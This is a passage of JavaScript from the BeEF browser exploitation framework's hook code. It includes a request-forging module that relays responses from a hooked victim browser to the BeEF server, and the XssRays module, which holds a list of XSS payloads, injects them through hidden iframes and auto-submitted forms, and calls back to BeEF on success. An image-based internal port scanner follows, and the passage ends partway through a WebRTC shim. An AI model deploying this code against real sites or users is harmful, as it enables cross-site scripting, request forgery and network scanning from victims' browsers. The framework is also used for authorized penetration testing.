- }
- }
- };
- xhr.send(data);
- } else {
- if (!!callback) callback('ERROR: Not Supported. CORS is not supported by the browser. The request was not sent.');
- }
- }
- };
- beef.regCmp('beef.net.cors');
- //
- // Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
- // Browser Exploitation Framework (BeEF) - http://beefproject.com
- // See the file 'doc/COPYING' for copying permission
- //
- /*!
- * @literal object: beef.net.requester
- *
- * request object structure:
- * + method: {String} HTTP method to use (GET or POST).
- * + host: {String} hostname
- * + query_string: {String} The query string is a part of the URL which is passed to the program.
- * + uri: {String} The URI syntax consists of a URI scheme name.
- * + headers: {Array} contain the operating parameters of the HTTP request.
- */
- beef.net.requester = {
- handler: "requester",
- send: function(requests_array) {
- for(var i=0; i<requests_array.length; i++){
- request = requests_array[i];
- if (request.proto == 'https') var scheme = 'https'; else var scheme = 'http';
- beef.debug('[Requester] ' + request.method + ' ' + scheme + '://' + request.host + ':' + request.port + request.uri + ' - Data: ' + request.data);
- beef.net.forge_request(scheme, request.method, request.host, request.port, request.uri, null, request.headers, request.data, 10, null, request.allowCrossDomain, request.id,
- function(res, requestid) { beef.net.send('/requester', requestid, {
- response_data: res.response_body,
- response_status_code: res.status_code,
- response_status_text: res.status_text,
- response_port_status: res.port_status,
- response_headers: res.headers});
- }
- );
- }
- }
- };
- beef.regCmp('beef.net.requester');
- /*
- * XSS Rays
- * Legal bit:
- * Do not remove this notice.
- * Copyright (c) 2009 by Gareth Heyes
- * Programmed for Microsoft
- * gareth --at-- businessinfo -dot- co |dot| uk
- * Version 0.5.5
- *
- * This license governs use of the accompanying software. If you use the software, you
- * accept this license. If you do not accept the license, do not use the software.
- * 1. Definitions
- * The terms "reproduce," "reproduction," "derivative works," and "distribution" have the
- * same meaning here as under U.S. copyright law.
- * A "contribution" is the original software, or any additions or changes to the software.
- * A "contributor" is any person that distributes its contribution under this license.
- * "Licensed patents" are a contributor's patent claims that read directly on its contribution.
- * 2. Grant of Rights
- * (A) Copyright Grant- Subject to the terms of this license, including the license conditions and limitations in section 3, each contributor grants you a non-exclusive, worldwide, royalty-free copyright license to reproduce its contribution, prepare derivative works of its contribution, and distribute its contribution or any derivative works that you create.
- * (B) Patent Grant- Subject to the terms of this license, including the license conditions and limitations in section 3, each contributor grants you a non-exclusive, worldwide, royalty-free license under its licensed patents to make, have made, use, sell, offer for sale, import, and/or otherwise dispose of its contribution in the software or derivative works of the contribution in the software.
- * 3. Conditions and Limitations
- * (A) No Trademark License- This license does not grant you rights to use any contributors' name, logo, or trademarks.
- * (B) If you bring a patent claim against any contributor over patents that you claim are infringed by the software, your patent license from such contributor to the software ends automatically.
- * (C) If you distribute any portion of the software, you must retain all copyright, patent, trademark, and attribution notices that are present in the software.
- * (D) If you distribute any portion of the software in source code form, you may do so only under this license by including a complete copy of this license with your distribution. If you distribute any portion of the software in compiled or object code form, you may only do so under a license that complies with this license.
- * (E) The software is licensed "as-is." You bear the risk of using it. The contributors give no express warranties, guarantees or conditions. You may have additional consumer rights under your local laws which this license cannot change. To the extent permitted under your local laws, the contributors exclude the implied warranties of merchantability, fitness for a particular purpose and non-infringement.
- */
- /*
- * XssRays 0.5.5 ported to BeEF by Michele "antisnatchor" Orru'
- * The XSS detection mechanisms has been rewritten from scratch: instead of using the location hash trick (that doesn't work anymore),
- * if the vulnerability is triggered the JS code vector will contact back BeEF.
- * Other aspects of the original code have been simplified and improved.
- */
- beef.net.xssrays = {
- handler: "xssrays",
- completed:0,
- totalConnections:0,
- // BeEF variables
- xssraysScanId : 0,
- hookedBrowserSession: "",
- beefRayUrl: "",
- // the 3 following variables are overridden via BeEF, in the Scan Config XssRays sub-tab.
- crossDomain: false,
- debug:false,
- cleanUpTimeout:5000,
- //browser-specific attack vectors available strings: ALL, FF, IE, S, C, O
- vectors: [
- {input:"\',XSS,\'", name: 'Standard DOM based injection single quote', browser: 'ALL',url:true,form:true,path:true},
- {input:'",XSS,"', name: 'Standard DOM based injection double quote', browser: 'ALL',url:true,form:true,path:true},
- {input:'\'"><script>XSS<\/script>', name: 'Standard script injection', browser: 'ALL',url:true,form:true,path:true},
- {input:'\'"><body onload="XSS">', name: 'body onload', browser: 'ALL',url:true,form:true,path:true},
- {input:'%27%3E%3C%73%63%72%69%70%74%3EXSS%3C%2F%73%63%72%69%70%74%3E', name: 'url encoded single quote', browser: 'ALL',url:true,form:true,path:true},
- {input:'%22%3E%3C%73%63%72%69%70%74%3EXSS%3C%2F%73%63%72%69%70%74%3E', name: 'url encoded double quote', browser: 'ALL',url:true,form:true,path:true},
- {input:'%25%32%37%25%33%45%25%33%43%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45XSS%25%33%43%25%32%46%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45', name: 'double url encoded single quote', browser: 'ALL',url:true,form:true,path:true},
- {input:'%25%32%32%25%33%45%25%33%43%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45XSS%25%33%43%25%32%46%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45', name: 'double url encoded double quote', browser: 'ALL',url:true,form:true,path:true},
- {input:'%%32%35%%33%32%%33%32%%32%35%%33%33%%34%35%%32%35%%33%33%%34%33%%32%35%%33%37%%33%33%%32%35%%33%36%%33%33%%32%35%%33%37%%33%32%%32%35%%33%36%%33%39%%32%35%%33%37%%33%30%%32%35%%33%37%%33%34%%32%35%%33%33%%34%35XSS%%32%35%%33%33%%34%33%%32%35%%33%32%%34%36%%32%35%%33%37%%33%33%%32%35%%33%36%%33%33%%32%35%%33%37%%33%32%%32%35%%33%36%%33%39%%32%35%%33%37%%33%30%%32%35%%33%37%%33%34%%32%35%%33%33%%34%35', name: 'double nibble url encoded double quote', browser: 'ALL',url:true,form:true,path:true},
- {input:"' style=abc:expression(XSS) ' \" style=abc:expression(XSS) \"", name: 'Expression CSS based injection', browser: 'IE',url:true,form:true,path:true},
- {input:'" type=image src=null onerror=XSS " \' type=image src=null onerror=XSS \'', name: 'Image input overwrite based injection', browser: 'ALL',url:true,form:true,path:true},
- {input:"' onload='XSS' \" onload=\"XSS\"/onload=\"XSS\"/onload='XSS'/", name: 'onload event injection', browser: 'ALL',url:true,form:true,path:true},
- {input:'\'\"<\/script><\/xml><\/title><\/textarea><\/noscript><\/style><\/listing><\/xmp><\/pre><img src=null onerror=XSS>', name: 'Image injection HTML breaker', browser: 'ALL',url:true,form:true,path:true},
- {input:"'},XSS,function x(){//", name: 'DOM based function breaker single quote', browser: 'ALL',url:true,form:true,path:true},
- {input:'"},XSS,function x(){//', name: 'DOM based function breaker double quote', browser: 'ALL',url:true,form:true,path:true},
- {input:'\\x3c\\x73\\x63\\x72\\x69\\x70\\x74\\x3eXSS\\x3c\\x2f\\x73\\x63\\x72\\x69\\x70\\x74\\x3e', name: 'DOM based innerHTML injection', browser: 'ALL',url:true,form:true,path:true},
- {input:'javascript:XSS', name: 'Javascript protocol injection', browser: 'ALL',url:true,form:true,path:true},
- {input:'null,XSS//', name: 'Unfiltered DOM injection comma', browser: 'ALL',url:true,form:true,path:true},
- {input:'null\nXSS//', name: 'Unfiltered DOM injection new line', browser: 'ALL',url:true,form:true,path:true}
- ],
- uniqueID: 0,
- rays: [],
- stack: [],
- // return true is the attack vector can be launched to the current browser type.
- checkBrowser:function(vector_array_index){
- var result = false;
- var browser_id = this.vectors[vector_array_index].browser;
- switch (browser_id){
- case "ALL":
- result = true;
- break;
- case "FF":
- if(beef.browser.isFF())result=true;
- break;
- case "IE":
- if(beef.browser.isIE())result=true;
- break;
- case "C":
- if(beef.browser.isC())result=true;
- break;
- case "S":
- if(beef.browser.isS())result=true;
- break;
- case "O":
- if(beef.browser.isO())result=true;
- break;
- default : result = false;
- }
- beef.net.xssrays.printDebug("==== browser_id ==== [" + browser_id + "], result [" + result + "]");
- return result;
- },
- // util function. Print string to the console only if the debug flag is on and the browser is not IE.
- printDebug:function(log) {
- if (this.debug && (!beef.browser.isIE6() && !beef.browser.isIE7() && !beef.browser.isIE8())) {
- beef.debug("[XssRays] " + log);
- }
- },
- // main function, where all starts :-)
- startScan:function(xssraysScanId, hookedBrowserSession, beefUrl, crossDomain, timeout, debug) {
- this.xssraysScanId = xssraysScanId;
- this.hookedBrowserSession = hookedBrowserSession;
- this.beefRayUrl = beefUrl + '/' + this.handler;
- beef.net.xssrays.printDebug("Using [" + this.beefRayUrl + "] handler to contact back BeEF");
- this.crossDomain = crossDomain;
- this.cleanUpTimeout = timeout;
- this.debug = debug;
- this.scan();
- beef.net.xssrays.printDebug("Starting scan");
- this.runJobs();
- },
- complete:function() {
- if (beef.net.xssrays.completed == beef.net.xssrays.totalConnections) {
- beef.net.xssrays.printDebug("COMPLETE, notifying BeEF for scan id [" + beef.net.xssrays.xssraysScanId + "]");
- $j.get(this.beefRayUrl, { hbsess: this.hookedBrowserSession, raysid: this.xssraysScanId, action: "finish"} );
- } else {
- this.getNextJob();
- }
- },
- getNextJob:function() {
- var that = this;
- beef.net.xssrays.printDebug("getNextJob - this.stack.length [" + this.stack.length + "]");
- if (this.stack.length > 0) {
- var func = that.stack.shift();
- if (func) {
- that.completed++;
- func.call(that);
- }
- }else{ //nothing else to scan
- this.complete();
- }
- },
- scan:function() {
- this.scanLinks();
- this.scanForms();
- },
- scanPaths:function() {
- this.xss({type:'path'});
- return this;
- },
- scanForms: function() {
- this.xss({type:'form'});
- return this;
- },
- scanLinks: function() { //TODO: add depth crawling for links that are in the same domain
- beef.net.xssrays.printDebug("scanLinks, document.links.length [" + document.links.length + "]");
- for (var i = 0; i < document.links.length; i++) {
- var url = document.links[i];
- if ((url.hostname.toString() === location.hostname.toString() || this.crossDomain) && (location.protocol === 'http:' || location.protocol === 'https:')) {
- beef.net.xssrays.printDebug("Starting scanning URL [" + url + "]\n url.href => " + url.href +
- "\n url.pathname => " + url.pathname + "\n" +
- "url.search => " + url.search + "\n");
- this.xss({href:url.href, pathname:url.pathname, hostname:url.hostname, port: url.port, protocol: location.protocol,
- search:url.search, type: 'url'});//scan each link & param
- } else {
- if (this.debug) {
- beef.net.xssrays.printDebug('Scan is not Cross-domain. URLS\nurl :' + url.hostname.toString());
- beef.net.xssrays.printDebug('\nlocation :' + location.hostname.toString());
- }
- }
- }
- if (location.search.length > 0) {
- this.xss({pathname:location.pathname, hostname:url.hostname, port: url.port, protocol: location.protocol,search:location.search, type: 'url'});//scan originating url
- }
- return this;
- },
- xss:function(target) {
- switch (target.type) {
- case "url":
- if (target.search.length > 0) {
- target.search = target.search.slice(1);
- target.search = target.search.split(/&|&/);
- if(beef.browser.isIE() && target.pathname.charAt(0) != "/"){ //the damn IE doesn't contain the forward slash in pathname
- var pathname = "/" + target.pathname;
- }else{
- var pathname = target.pathname;
- }
- var params = {};
- for (var i = 0; i < target.search.length; i++) {
- target.search[i] = target.search[i].split('=');
- params[target.search[i][0]] = target.search[i][1];
- }
- for (var i = 0; i < this.vectors.length; i++) {
- // skip the current vector if it's not compatible with the hooked browser
- if (!this.checkBrowser(i)){
- beef.net.xssrays.printDebug("Skipping vector [" + this.vectors[i].name + "] because it's not compatible with the current browser.");
- continue;
- }
- if (!this.vectors[i].url) {
- continue;
- }
- if (this.vectors[i].url) {
- if (target.port == null || target.port == "") {
- beef.net.xssrays.printDebug("Starting XSS on GET params of [" + target.href + "], passing url [" + target.protocol + '//' + target.hostname + pathname + "]");
- this.run(target.protocol + '//' + target.hostname + pathname, 'GET', this.vectors[i], params, true);//params
- } else {
- beef.net.xssrays.printDebug("Starting XSS on GET params of [" + target.href + "], passing url [" + target.protocol + '//' + target.hostname + ':' + target.port + pathname + "]");
- this.run(target.protocol + '//' + target.hostname + ':' + target.port + pathname, 'GET', this.vectors[i], params, true);//params
- }
- }
- if (this.vectors[i].path) {
- if (target.port == null || target.port == "") {
- beef.net.xssrays.printDebug("Starting XSS on URI PATH of [" + target.href + "], passing url [" + target.protocol + '//' + target.hostname + pathname + "]");
- this.run(target.protocol + '//' + target.hostname + pathname, 'GET', this.vectors[i], null, true);//paths
- } else {
- beef.net.xssrays.printDebug("Starting XSS on URI PATH of [" + target.href + "], passing url [" + target.protocol + '//' + target.hostname + ':' + target.port + pathname + "]");
- this.run(target.protocol + '//' + target.hostname + ':' + target.port + pathname, 'GET', this.vectors[i], null, true);//paths
- }
- }
- }
- }
- break;
- case "form":
- var params = {};
- var paramsstring = "";
- for (var i = 0; i < document.forms.length; i++) {
- var action = document.forms[i].action || document.location;
- var method = document.forms[i].method.toUpperCase() === 'POST' ?
- 'POST' :
- 'GET';
- for (var j = 0; j < document.forms[i].elements.length; j++) {
- params[document.forms[i].elements[j].name] = document.forms[i].elements[j].value || 1;
- }
- for (var k = 0; k < this.vectors.length; k++) {
- // skip the current vector if it's not compatible with the hooked browser
- if (!this.checkBrowser(k)){
- beef.net.xssrays.printDebug("Skipping vector [" + this.vectors[i].name + "] because it's not compatible with the current browser.");
- continue;
- }
- if (!this.vectors[k].form) {
- continue;
- }
- if (!this.crossDomain && (this.host(action).toString() != this.host(location.toString()))) {
- if (this.debug) {
- beef.net.xssrays.printDebug('Scan is not Cross-domain. FormPost\naction :' + this.host(action).toString());
- beef.net.xssrays.printDebug('location :' + this.host(location));
- }
- continue;
- }
- if (this.vectors[k].form) {
- if (method === 'GET') {
- beef.net.xssrays.printDebug("Starting XSS on FORM action params, GET method of [" + action + "], params [" + paramsstring + "]");
- this.run(action, method, this.vectors[k], params, true);//params
- }
- else {
- beef.net.xssrays.printDebug("Starting XSS on FORM action params, POST method of [" + action + "], params [" + paramsstring + "]");
- this.run(action, method, this.vectors[k], params, false);//params
- }
- }
- if (this.vectors[k].path) {
- beef.net.xssrays.printDebug("Starting XSS on FORM action URI PATH of [" + action + "], ");
- this.run(action, 'GET', this.vectors[k], null, true);//paths
- }
- }
- }
- break;
- }
- },
- host: function(url) {
- var host = url;
- host = /^https?:[\/]{2}[^\/]+/.test(url.toString())
- ? url.toString().match(/^https?:[\/]{2}[^\/]+/)
- : /(?:^[^a-zA-Z0-9\/]|^[a-zA-Z0-9]+[:]+)/.test(url.toString())
- ? ''
- : location.hostname.toString();
- return host;
- },
- fileName: function(url) {
- return url.match(/(?:^[^\/]|^https?:[\/]{2}|^[\/]+)[^?]+/) || '';
- },
- urlEncode: function(str) {
- str = str.toString();
- str = str.replace(/"/g, '%22');
- str = str.replace(/&/g, '%26');
- str = str.replace(/\+/g, '%2b');
- return str;
- },
- // this is the main core function with the detection mechanisms...
- run: function(url, method, vector, params, urlencode) {
- this.stack.push(function() {
- //check if the URL end with / . In this case remove the last /, as it will be added later.
- // this check is needed only when checking for URI path injections
- if(url[url.length - 1] == "/" && params == null){
- url = url.substring(0, url.length - 2);
- beef.net.xssrays.printDebug("Remove last / from url. New url [" + url + "]");
- }
- beef.net.xssrays.uniqueID++;
- beef.net.xssrays.printDebug('Processing vector [' + vector.name + "], URL [" + url + "]");
- var poc = '';
- var pocurl = url;
- var exploit = '';
- var action = url;
- beef.net.xssrays.rays[beef.net.xssrays.uniqueID] = {vector:vector,url:url,params:params};
- var ray = this.rays[beef.net.xssrays.uniqueID];
- var paramsPos = 0;
- if (params != null) {
- /*
- * ++++++++++ check for XSS in URI parameters (GET) ++++++++++
- */
- for (var i in params) {
- if (params.hasOwnProperty(i)) {
- if (!/[?]/.test(url)) {
- url += '?';
- pocurl += '?';
- }
- poc = vector.input.replace(/XSS/g, "alert(1)");
- pocurl += i + '=' + (urlencode ? encodeURIComponent(poc) : poc) + '&';
- beef.net.xssrays.rays[beef.net.xssrays.uniqueID].vector.poc = pocurl;
- beef.net.xssrays.rays[beef.net.xssrays.uniqueID].vector.method = method;
- beefCallback = "location='" + this.beefRayUrl + "?hbsess=" + this.hookedBrowserSession + "&raysid=" + this.xssraysScanId
- + "&action=ray" + "&p='+window.location.href+'&n=" + ray.vector.name + "&m=" + ray.vector.method + "'";
- exploit = vector.input.replace(/XSS/g, beefCallback);
- if(beef.browser.isC() || beef.browser.isS()){ //we will base64 the whole uri later
- url += i + '=' + exploit + '&';
- }else{
- url += i + '=' + (urlencode ? encodeURIComponent(exploit) : exploit) + '&';
- }
- paramsPos++;
- }
- }
- } else {
- /*
- * ++++++++++ check for XSS in URI path (GET) ++++++++++
- */
- var filename = beef.net.xssrays.fileName(url);
- poc = vector.input.replace(/XSS/g, "alert(1)");
- pocurl = poc.replace(filename, filename + '/' + (urlencode ? encodeURIComponent(exploit) : exploit) + '/');
- beef.net.xssrays.rays[beef.net.xssrays.uniqueID].vector.poc = pocurl;
- beef.net.xssrays.rays[beef.net.xssrays.uniqueID].vector.method = method;
- beefCallback = "document.location.href='" + this.beefRayUrl + "?hbsess=" + this.hookedBrowserSession + "&raysid=" + this.xssraysScanId
- + "&action=ray" + "&p='+window.location.href+'&n=" + ray.vector.name + "&m=" + ray.vector.method + "'";
- exploit = vector.input.replace(/XSS/g, beefCallback);
- //TODO: if the url is something like example.com/?param=1 then a second slash will be added, like example.com//<xss>.
- //TODO: this need to checked and the slash shouldn't be added in this particular case
- url = url.replace(filename, filename + '/' + (urlencode ? encodeURIComponent(exploit) : exploit) + '/');
- }
- /*
- * ++++++++++ create the iFrame that will contain the attack vector ++++++++++
- */
- if(beef.browser.isIE()){
- try {
- var iframe = document.createElement('<iframe name="ray'+Math.random().toString() +'">');
- } catch (e) {
- var iframe = document.createElement('iframe');
- iframe.name = 'ray' + Math.random().toString();
- }
- }else{
- var iframe = document.createElement('iframe');
- iframe.name = 'ray' + Math.random().toString();
- }
- iframe.style.display = 'none';
- iframe.id = 'ray' + beef.net.xssrays.uniqueID;
- iframe.time = beef.net.xssrays.timestamp();
- if (method === 'GET') {
- if(beef.browser.isC() || beef.browser.isS()){
- var datauri = btoa(url);
- iframe.src = "data:text/html;base64," + datauri;
- }else{
- iframe.src = url;
- }
- document.body.appendChild(iframe);
- beef.net.xssrays.printDebug("Creating XSS iFrame with src [" + iframe.src + "], id[" + iframe.id + "], time [" + iframe.time + "]");
- } else if (method === 'POST') {
- /*
- * ++++++++++ check for XSS in body parameters (POST) ++++++++++
- */
- var form = '<form action="' + beef.net.xssrays.escape(action) + '" method="post" id="frm">';
- poc = '';
- pocurl = action + "?";
- paramsPos = 0;
- beef.net.xssrays.printDebug("Form action [" + action + "]");
- for (var i in params) {
- if (params.hasOwnProperty(i)) {
- poc = vector.input.replace(/XSS/g, "alert(1)");
- poc = poc.replace(/<\/script>/g, "<\/scr\"+\"ipt>");
- pocurl += i + '=' + (urlencode ? encodeURIComponent(poc) : poc); // + '&';
- beef.net.xssrays.rays[beef.net.xssrays.uniqueID].vector.poc = pocurl;
- beef.net.xssrays.rays[beef.net.xssrays.uniqueID].vector.method = method;
- beefCallback = "document.location.href='" + this.beefRayUrl + "?hbsess=" + this.hookedBrowserSession + "&raysid=" + this.xssraysScanId
- + "&action=ray" + "&p='+window.location.href+'&n=" + ray.vector.name + "&m=" + ray.vector.method + "'";
- exploit = beef.net.xssrays.escape(vector.input.replace(/XSS/g, beefCallback));
- form += '<textarea name="' + i + '">' + exploit + '<\/textarea>';
- beef.net.xssrays.printDebug("form param[" + i + "] = " + params[i].toString());
- paramsPos++;
- }
- }
- form += '<\/form>';
- document.body.appendChild(iframe);
- beef.net.xssrays.printDebug("Creating form [" + form + "]");
- iframe.contentWindow.document.writeln(form);
- iframe.contentWindow.document.writeln('<script>document.createElement("form").submit.apply(document.forms[0]);<\/script>');
- beef.net.xssrays.printDebug("Submitting form");
- }
- });
- },
- // run the jobs (run functions added to the stack), and clean the shit (iframes) from the DOM after a timeout value
- runJobs: function() {
- var that = this;
- this.totalConnections = this.stack.length;
- that.getNextJob();
- setInterval(function() {
- var numOfConnections = 0;
- for (var i = 0; i < document.getElementsByTagName('iframe').length; i++) {
- var iframe = document.getElementsByTagName('iframe')[i];
- numOfConnections++;
- //beef.net.xssrays.printDebug("runJobs parseInt(this.timestamp()) [" + parseInt(beef.net.xssrays.timestamp()) + "], parseInt(iframe.time) [" + parseInt(iframe.time) + "]");
- if (parseInt(beef.net.xssrays.timestamp()) - parseInt(iframe.time) > 5) {
- try{
- if (iframe) {
- beef.net.xssrays.complete();
- beef.net.xssrays.printDebug("RunJobs cleaning up iFrame [" + iframe.id + "]");
- document.body.removeChild(iframe);
- }
- }catch(e){beef.net.xssrays.printDebug("Exception [" + e.toString() + "] when cleaning iframes.")}
- }
- }
- if (numOfConnections == 0) {
- clearTimeout(this);
- }
- }, this.cleanUpTimeout);
- return this;
- },
- timestamp: function() {
- return parseInt(new Date().getTime().toString().substring(0, 10));
- },
- escape: function(str) {
- str = str.toString();
- str = str.replace(/</g, '<');
- str = str.replace(/>/g, '>');
- str = str.replace(/\u0022/g, '"');
- str = str.replace(/\u0027/g, ''');
- str = str.replace(/\\/g, '\');
- return str;
- }
- };
- beef.regCmp('beef.net.xssrays');
- //
- // Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
- // Browser Exploitation Framework (BeEF) - http://beefproject.com
- // See the file 'doc/COPYING' for copying permission
- //
- /*!
- * @literal object: beef.net.portscanner
- *
- * Provides port scanning functions for the zombie. A mod of pdp's scanner
- *
- * Version: '0.1',
- * author: 'Petko Petkov',
- * homepage: 'http://www.gnucitizen.org'
- */
- beef.net.portscanner = {
- scanPort: function(callback, target, port, timeout)
- {
- var timeout = (timeout == null)?100:timeout;
- var img = new Image();
- img.onerror = function () {
- if (!img) return;
- img = undefined;
- callback(target, port, 'open');
- };
- img.onload = img.onerror;
- img.src = 'http://' + target + ':' + port;
- setTimeout(function () {
- if (!img) return;
- img = undefined;
- callback(target, port, 'closed');
- }, timeout);
- },
- scanTarget: function(callback, target, ports_str, timeout)
- {
- var ports = ports_str.split(",");
- for (index = 0; index < ports.length; index++) {
- this.scanPort(callback, target, ports[index], timeout);
- };
- }
- };
- beef.regCmp('beef.net.portscanner');
- //
- // Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
- // Browser Exploitation Framework (BeEF) - http://beefproject.com
- // See the file 'doc/COPYING' for copying permission
- //
- beef.are = {
- status_success: function(){
- return 1;
- },
- status_unknown: function(){
- return 0;
- },
- status_error: function(){
- return -1;
- }
- };
- beef.regCmp("beef.are");
- /*
- * Copyright (c) 2014 The WebRTC project authors. All Rights Reserved.
- *
- * Use of this source code is governed by a BSD-style license
- * that can be found in the LICENSE file in the root of the source
- * tree.
- */
- /* More information about these options at jshint.com/docs/options */
- /* jshint browser: true, camelcase: true, curly: true, devel: true,
- eqeqeq: true, forin: false, globalstrict: true, node: true,
- quotmark: single, undef: true, unused: strict */
- /* global mozRTCIceCandidate, mozRTCPeerConnection, Promise,
- mozRTCSessionDescription, webkitRTCPeerConnection, MediaStreamTrack */
- /* exported trace,requestUserMedia */
- 'use strict';
- var getUserMedia = null;
- var attachMediaStream = null;
- var reattachMediaStream = null;
- var webrtcDetectedBrowser = null;
- var webrtcDetectedVersion = null;
- var webrtcMinimumVersion = null;
- function trace(text) {
- // This function is used for logging.
- if (text[text.length - 1] === '\n') {
- text = text.substring(0, text.length - 1);
- }
- if (window.performance) {
- var now = (window.performance.now() / 1000).toFixed(3);
- beef.debug(now + ': ' + text);
- } else {
- beef.debug(text);
- }
- }
- if (navigator.mozGetUserMedia) {
- webrtcDetectedBrowser = 'firefox';
- // the detected firefox version.
- webrtcDetectedVersion =
- parseInt(navigator.userAgent.match(/Firefox\/([0-9]+)\./)[1], 10);
- // the minimum firefox version still supported by adapter.
- webrtcMinimumVersion = 31;
- // The RTCPeerConnection object.
- window.RTCPeerConnection = function(pcConfig, pcConstraints) {
- if (webrtcDetectedVersion < 38) {
- // .urls is not supported in FF < 38.
- // create RTCIceServers with a single url.
- if (pcConfig && pcConfig.iceServers) {
- var newIceServers = [];
- for (var i = 0; i < pcConfig.iceServers.length; i++) {
- var server = pcConfig.iceServers[i];
- if (server.hasOwnProperty('urls')) {
- for (var j = 0; j < server.urls.length; j++) {
- var newServer = {
- url: server.urls[j]
- };
- if (server.urls[j].indexOf('turn') === 0) {
- newServer.username = server.username;
- newServer.credential = server.credential;
- }
- newIceServers.push(newServer);
- }
- } else {
- newIceServers.push(pcConfig.iceServers[i]);
- }
- }
- pcConfig.iceServers = newIceServers;
- }
- }
- return new mozRTCPeerConnection(pcConfig, pcConstraints);
- };
- try {
- // The RTCSessionDescription object.
- window.RTCSessionDescription = mozRTCSessionDescription;
- // The RTCIceCandidate object.
- window.RTCIceCandidate = mozRTCIceCandidate;
- }catch(err) {
- }
- // getUserMedia constraints shim.
- getUserMedia = (webrtcDetectedVersion < 38) ?
- function(c, onSuccess, onError) {
- var constraintsToFF37 = function(c) {
- if (typeof c !== 'object' || c.require) {
- return c;
- }
- var require = [];
- Object.keys(c).forEach(function(key) {
- var r = c[key] = (typeof c[key] === 'object') ?
- c[key] : {ideal: c[key]};
- if (r.exact !== undefined) {
- r.min = r.max = r.exact;
- delete r.exact;
- }
- if (r.min !== undefined || r.max !== undefined) {
- require.push(key);
- }
- if (r.ideal !== undefined) {
- c.advanced = c.advanced || [];
- var oc = {};
- oc[key] = {min: r.ideal, max: r.ideal};
- c.advanced.push(oc);
- delete r.ideal;
- if (!Object.keys(r).length) {
- delete c[key];
- }
- }
- });
- if (require.length) {
- c.require = require;
- }
- return c;
- };
- beef.debug('spec: ' + JSON.stringify(c));
- c.audio = constraintsToFF37(c.audio);
- c.video = constraintsToFF37(c.video);
- beef.debug('ff37: ' + JSON.stringify(c));
- return navigator.mozGetUserMedia(c, onSuccess, onError);
- } : navigator.mozGetUserMedia.bind(navigator);
- navigator.getUserMedia = getUserMedia;
- // Shim for mediaDevices on older versions.
- if (!navigator.mediaDevices) {
- navigator.mediaDevices = {getUserMedia: requestUserMedia,
- addEventListener: function() { },
- removeEventListener: function() { }
- };
- }
- navigator.mediaDevices.enumerateDevices =
- navigator.mediaDevices.enumerateDevices || function() {
- return new Promise(function(resolve) {
- var infos = [
- {kind: 'audioinput', deviceId: 'default', label:'', groupId:''},
- {kind: 'videoinput', deviceId: 'default', label:'', groupId:''}
- ];
- resolve(infos);
- });
- };
- if (webrtcDetectedVersion < 41) {
- // Work around http://bugzil.la/1169665
- var orgEnumerateDevices =
- navigator.mediaDevices.enumerateDevices.bind(navigator.mediaDevices);
- navigator.mediaDevices.enumerateDevices = function() {
- return orgEnumerateDevices().then(undefined, function(e) {
- if (e.name === 'NotFoundError') {
- return [];
- }
- throw e;
- });
- };
- }
- // Attach a media stream to an element.
- attachMediaStream = function(element, stream) {
- beef.debug('Attaching media stream');
- element.mozSrcObject = stream;
- };
- reattachMediaStream = function(to, from) {
- beef.debug('Reattaching media stream');
- to.mozSrcObject = from.mozSrcObject;
- };
- } else if (navigator.webkitGetUserMedia) {
- webrtcDetectedBrowser = 'chrome';
- // the detected chrome version.
- webrtcDetectedVersion =
- parseInt(navigator.userAgent.match(/Chrom(e|ium)\/([0-9]+)\./)[2], 10);
- // the minimum chrome version still supported by adapter.
- webrtcMinimumVersion = 38;
- // The RTCPeerConnection object.
- window.RTCPeerConnection = function(pcConfig, pcConstraints) {
- var pc = new webkitRTCPeerConnection(pcConfig, pcConstraints);
- var origGetStats = pc.getStats.bind(pc);
- pc.getStats = function(selector, successCallback, errorCallback) { // jshint ignore: line
- // If selector is a function then we are in the old style stats so just
- // pass back the original getStats format to avoid breaking old users.
- if (typeof selector === 'function') {
- return origGetStats(selector, successCallback);
- }
- var fixChromeStats = function(response) {
- var standardReport = {};
- var reports = response.result();
- reports.forEach(function(report) {
- var standardStats = {
- id: report.id,
- timestamp: report.timestamp,
- type: report.type
- };
- report.names().forEach(function(name) {
- standardStats[name] = report.stat(name);
- });
- standardReport[standardStats.id] = standardStats;
- });
- return standardReport;
- };
- var successCallbackWrapper = function(response) {
- successCallback(fixChromeStats(response));
- };
- return origGetStats(successCallbackWrapper, selector);
- };
- return pc;
- };
- // add promise support
- ['createOffer', 'createAnswer'].forEach(function(method) {
- var nativeMethod = webkitRTCPeerConnection.prototype[method];
- webkitRTCPeerConnection.prototype[method] = function() {
- var self = this;
- if (arguments.length < 1 || (arguments.length === 1 &&
- typeof(arguments[0]) === 'object')) {
- var opts = arguments.length === 1 ? arguments[0] : undefined;
- return new Promise(function(resolve, reject) {
- nativeMethod.apply(self, [resolve, reject, opts]);
- });
- } else {
- return nativeMethod.apply(this, arguments);
- }
- };
- });
- ['setLocalDescription', 'setRemoteDescription',
- 'addIceCandidate'].forEach(function(method) {
- var nativeMethod = webkitRTCPeerConnection.prototype[method];
- webkitRTCPeerConnection.prototype[method] = function() {
- var args = arguments;
- var self = this;
- return new Promise(function(resolve, reject) {
- nativeMethod.apply(self, [args[0],
- function() {
- resolve();
- if (args.length >= 2) {
- args[1].apply(null, []);
- }
- },
- function(err) {
- reject(err);
- if (args.length >= 3) {
- args[2].apply(null, [err]);
- }
- }]
- );
- });
- };
- });
- // getUserMedia constraints shim.
- getUserMedia = function(c, onSuccess, onError) {
- var constraintsToChrome = function(c) {
- if (typeof c !== 'object' || c.mandatory || c.optional) {
- return c;
- }
- var cc = {};
- Object.keys(c).forEach(function(key) {
- if (key === 'require' || key === 'advanced') {
- return;
- }
- var r = (typeof c[key] === 'object') ? c[key] : {ideal: c[key]};
- if (r.exact !== undefined && typeof r.exact === 'number') {
- r.min = r.max = r.exact;
- }
- var oldname = function(prefix, name) {
- if (prefix) {
- return prefix + name.charAt(0).toUpperCase() + name.slice(1);
- }
- return (name === 'deviceId') ? 'sourceId' : name;
- };
- if (r.ideal !== undefined) {
- cc.optional = cc.optional || [];
- var oc = {};
- if (typeof r.ideal === 'number') {
- oc[oldname('min', key)] = r.ideal;
- cc.optional.push(oc);
